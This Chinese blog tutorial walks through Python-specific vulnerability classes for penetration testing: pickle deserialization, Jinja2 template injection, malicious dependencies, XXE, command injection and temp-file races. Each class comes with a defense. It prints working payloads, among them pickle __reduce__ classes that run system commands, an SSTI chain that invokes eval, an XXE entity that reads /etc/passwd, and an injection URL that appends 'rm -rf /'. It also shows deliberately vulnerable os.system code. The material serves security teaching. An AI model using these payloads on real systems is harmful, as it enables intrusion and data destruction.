Python特有的安全漏洞及渗透测试利用方法(通俗易懂)

任何编程语言和软件项目,都会存在安全漏洞,只有漏洞利用成本的高低!

本文章仅提供学习,切勿将其用于不法手段!


一、反序列化漏洞(最危险!)​

原理​:
Python的pickle模块能将对象转为二进制数据(序列化),但反序列化时若数据被篡改,可能直接执行恶意代码。就像你拆快递时,包裹里塞了炸弹,一拆就炸。

渗透测试利用方法​:

  1. 生成恶意对象​:构造一个包含危险函数的类,比如执行系统命令:
    import pickle
    import os
    
    class Evil:
        def __reduce__(self):
            return (os.system, ("calc.exe",))  # 弹计算器
    
    payload = pickle.dumps(Evil())  # 序列化
  2. 发送恶意数据​:将payload通过HTTP请求或文件上传传给目标程序。
  3. 触发漏洞​:目标程序反序列化时,直接执行calc.exe(示例,实际可能执行更危险操作)。

防御​:

  • 改用json序列化(不支持代码执行)。
  • 反序列化前校验数据来源,禁用危险类。

二、模板注入(SSTI)​

原理​:
使用Jinja2等模板引擎时,若直接渲染用户输入,攻击者可注入模板代码执行任意操作,比如读取文件或执行命令。

渗透测试利用方法​:

  1. 构造恶意输入​:在输入框注入模板代码:
    {{ config.items()[0][1].__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("os.system('whoami')") }}
  2. 触发渲染​:提交输入后,服务端直接渲染模板,执行whoami命令。

防御​:

  • 使用html.escape()转义用户输入。
  • 禁用模板中的危险函数(如eval)。

三、依赖包漏洞(供应链攻击)​

原理​:
第三方库存在已知漏洞(如requests旧版本),攻击者通过替换依赖版本植入后门。

渗透测试利用方法​:

  1. 替换依赖​:在测试环境中安装恶意版本:
    pip install malicious-package==1.0.0
  2. 触发后门​:调用恶意库的初始化代码执行命令。

防御​:

  • 定期扫描依赖:pip list --outdated
  • 使用pipenvpoetry锁定依赖版本。

四、XXE漏洞(XML外部实体注入)​

原理​:
解析XML时,若允许加载外部文件(如file://协议),攻击者可读取服务器敏感文件。

渗透测试利用方法​:

  1. 构造恶意XML​:
    <!DOCTYPE foo [  
    <!ENTITY xxe SYSTEM "file:///etc/passwd">  
    ]>
    <foo>&xxe;</foo>
  2. 发送请求​:将XML提交到目标应用的XML解析接口。
  3. 获取数据​:若解析成功,错误信息中会返回/etc/passwd内容。

防御​:

  • 使用defusedxml库替代标准XML解析库。
  • 禁用外部实体加载。

五、命令注入

原理​:
使用os.system()subprocess调用系统命令时,未过滤用户输入,导致拼接恶意命令。

渗透测试利用方法​:

# 漏洞代码
user_input = request.GET.get('cmd')
os.system("ping " + user_input)  # 拼接用户输入

构造恶意输入:

http://example.com/?cmd=id;rm -rf /

执行id后继续执行删除命令。

防御​:

  • 使用shlex.quote()转义参数。
  • 改用subprocess.run(args=[])传递参数列表。

六、临时文件竞争条件

原理​:
使用不安全的临时文件创建方法(如mktemp),可能被其他进程抢先写入恶意文件。

渗透测试利用方法​:

  1. 创建竞态文件​:
    mktemp -u /tmp/exploit_XXXXXX  # 生成临时文件名
    echo "<?php system('id') ?>" > /tmp/exploit_ABC123
  2. 触发文件操作​:让目标程序读取该文件,执行恶意代码。

防御​:

  • 使用tempfile.mkstemp()生成唯一文件。
  • 设置文件权限为只读。

七、Pickle反序列化(二次利用)​

原理​:
与Java类似,Python的pickle反序列化若未校验数据,攻击者可构造恶意对象执行代码。

渗透测试利用方法​:

  1. 生成恶意payload​:
    import pickle
    import base64
    
    class Evil:
        def __reduce__(self):
            return (os.system, ("id",))
    
    payload = base64.b64encode(pickle.dumps(Evil()))
  2. 发送请求​:将payload作为参数传入目标接口。
  3. 触发执行​:服务端反序列化后执行id命令。

防御​:

  • 改用jsonyaml.safe_load
  • 反序列化前检查类名白名单。

总结:Python漏洞的“防身三招”

  1. 输入过滤​:所有用户输入必须白名单校验,过滤特殊字符(如../{{)。
  2. 安全配置​:
    # 关闭危险功能
    app.config['JINJA2_AUTOESCAPE'] = True  # 自动转义模板
  3. 代码审计​:重点检查pickle.loads()eval()os.system()等高风险代码。

一句话口诀​:

序列化要小心,模板别乱用,依赖勤扫描,输入严过滤!

注​:所有技术研究需遵循《网络安全法》及《数据安全法》相关规定,践行合法合规的网络安全技术探索

提示:最有效的防御办法,是让攻击者由于攻击成本过高,而主动放弃针对目标进行攻击!

没有攻不破的城墙,只有 由于 付出成本 远超于 收获价值 而 选择 主动放弃 攻击行为 的 敌人 !

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值